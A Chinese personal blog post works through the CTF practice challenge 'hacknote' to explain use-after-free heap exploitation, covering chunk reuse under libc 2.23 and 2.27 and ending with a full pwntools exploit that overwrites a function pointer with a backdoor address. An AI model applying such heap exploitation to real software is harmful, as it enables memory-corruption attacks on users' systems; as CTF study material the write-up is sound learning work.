Heap 0x03
heap0x03,写写uaf,写完准备刷堆题咯☠️
U A F (USE-AFTER-FREE)
早就听说过这个漏洞的名,今天👴就来看看宁是个什么东西
看上去好像很简单但是又很奇妙的一个漏洞,首先洞如其名,指的是在free释放掉申请的内存块之后又再次使用它,此时在程序对这块内存的处理上可能会出现这么几种情况:
- 假设我们写程序的时候很严谨,在free之后将对应的指针置空(NULL),那再去使用这个空指针肯定是不行的,程序直接挂掉了,也就没有uaf这一说
- 但是如果你并没有给这个指针置空,然后我们也不去更改它,接着使用的话,程序会有一定的可能会继续正常跑起来
- 再然后我们站在pwn的角度思考,如果我们通过一些手段改掉了这一块程序/内存,是不是就很可能会产生一些奇妙的效果
这么一想,UAF的思想就出来了:针对后两种情况(未置空的指针dangling pointer)的利用
Example
还是wiki例题,hacknote
既然是Uaf的例题那很显然问题就出在没给指针置空呗,如下
静态分析步骤我不做了,我直接扔几个结论,后续看博客(会有吗)的师傅们稍微自己动手分析一下这个逻辑,除了几个指针之外还是蛮好懂的
结论如下:
-
首先add note的时候其实进行了两次chunk的分配
-
一次是8字节,其中存放着一个print的函数指针,然后紧跟着的是内容的指针
-
刚说完的内容的指针就指向第二次分配的chunk,根据size所定的那么个大小,开出一个chunk供我们存放内容
-
为了方便,后续这个8字节的chunk叫主chunk,然后内容chunk叫content chunk吧
-
-
主chunk存放在bss段中的notelist全局变量中,起始地址0x0804A070
-
然后就是delete的未置空,不多说了
-
然后print函数中是直接去调用了一个函数指针,并且将上面说的内容指针当作了puts的参数,实则就是puts(content),打印出content,
- 这里有个点是那个index,因为循环从0开始,所以你要查看/释放的时候输入的id也是0开始
-
然后还有个magic,典型后门函数了,不多说
咋感觉就是做了一次不带图的分析呢
调试
以下采用libc2.27,如果地址偏移啥的不一样就自己动手吧,同heap0x02
首先我们分配两个chunk,大小暂定为24吧(大于8即可),一个叫♿1,一个叫♿2;
然后用x指令查看固定地址,先看看上面说过的存放主chunk的地方:
然后我们再走一步看一下这2个chunk的具体布局
红框框圈的是主chunk,蓝框子圈的是content chunk,至于上面为什么要减8是为了把chunk头也放出来方便去看一下总体的结构
可知,主chunk和content chunk,甚至下一个主chunk,都是连在一起的
这就几乎分析好了程序的基础逻辑和构造,但是在漏洞利用层面上来说,我们好像没什么办法(不能溢出,也无法修改),那只能考虑一下反复申请释放的过程了
魔改(?
我们先删一下看一下会怎么样,注意先删note0,再删note1
如果释放之后我们查看bin,在2.27的libc中我这里会突然出现了一个tcachebin,但是实际上对这道题没什么影响,查了一下似乎是在2.26之后加入的这么一个bin,具体是干什么的暂时先不去管了,挖个坑在这里先(那这么看的话似乎调这道题2.23也就是ubuntu16会更直白
放个图吧(?
笔者本人是懒🐕,没装ubuntu16,虽然好像也并没有什么影响但是看着属实有点难受。。然后我想到这可能也说明了一件事就是好像这个tcachebin也是LIFO机制?
不影响下面的东西(因为跑通了),继续看
删掉之后因为程序没有置空,所以是这个样子的
这里可能稍微有点难懂,虽然2.27是tcachebin,但是实际上这么一看也还是通过链表链接的
万幸的是这个tcache没有影响下一步的利用,在这里我用2.23的思路来叙述:
- 如果在2.23的libc中,释放掉的小chunk归fastbin管,这个阈值是0x40(详见heap0x01),所以我们释放的两个0x10和两个0x30的chunk都以链表的形式放在fastbin里
- 如果我们这个时候申请size为8的一块note,程序会申请2个0x10(最小值)的chunk(主chunk和content chunk),而根据分配规则,这两个chunk应该从fastbin中拿取,那实际上就是我们释放过的note0和note1,我们在这里把这次申请的叫做note2吧
- 继续想分配规则的话,因为我们先free了0,再free了1,根据LIFO机制,之前的1的主chunk现在变成了2的主chunk,0的主chunk变成了2的content chunk
- 此时,我们可以在申请note2的时候就把note2的内容改成magic(后门函数)的地址,这也就间接改到了“未置空的note0的主chunk中的print函数指针”,从而达成了一整个的攻击过程
- 于是这样之后,效果如下:0的print变成了后门函数,当查看0的内容时,直接cat flag
- 再说一下为什么之前申请0和1的时候size要大于8,由heap0x01可知,最小的32位chunk大小是0x10,如果你申请的size不大于8,那两次申请后会得到4个chunk,会打乱我们的利用步骤,同时这么一看应该也很难利用了
效果如下,vmmap计算一下偏移(好像每次堆出来的空间不一样)
查看之后可以看到,未置空的note0上面,原本函数指针的位置已经被改成了后门函数地址
于是就输出了flag,纪念一下第一道uaf
Exploit
完整exp如下:
from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux')
#context(arch='i386',os='linux')
#context(log_level='debug')
r=process("./hacknote")
#elf=ELF("./nss")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def sl(a):
r.sendline(a)
def rcvtil(a):
r.recvuntil(a)
def getaddr64():
u64(r.recvuntil("\x7f"[-6:].ljust(8,b"\x00")))
def getaddr32():
u32(r.recv(4))
def dbg():
gdb.attach(r)
pause()
def addnote(size,content):
rcvtil(":")
sl("1")
rcvtil(":")
sl(str(size))
rcvtil(":")
sl(content)
def delete(index):
rcvtil(":")
sl("2")
rcvtil(":")
sl(str(index))
def printnote(index):
rcvtil(":")
sl("3")
rcvtil(":")
sl(str(index))
magic=0x0804898f
addnote(24,'otto1')
addnote(24,'otto2')
delete(0)
delete(1)
addnote(8,p32(magic))
dbg()
printnote(0)
r.interactive()
这两天闲的没事搞了个万能exp板,看上去可能有点那啥,但是..也不知道好不好用😂
总结
uaf看起来是一个比较好懂的漏洞利用,感觉难的东西还是对于堆整个结构和堆的各种机制的掌握,估计又是要在各种各样的堆题里面磨出来思路了🔨🔨🔨
本文作者:Luo's Blog
本文链接:https://www.cnblogs.com/luo486/p/17435142.html
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步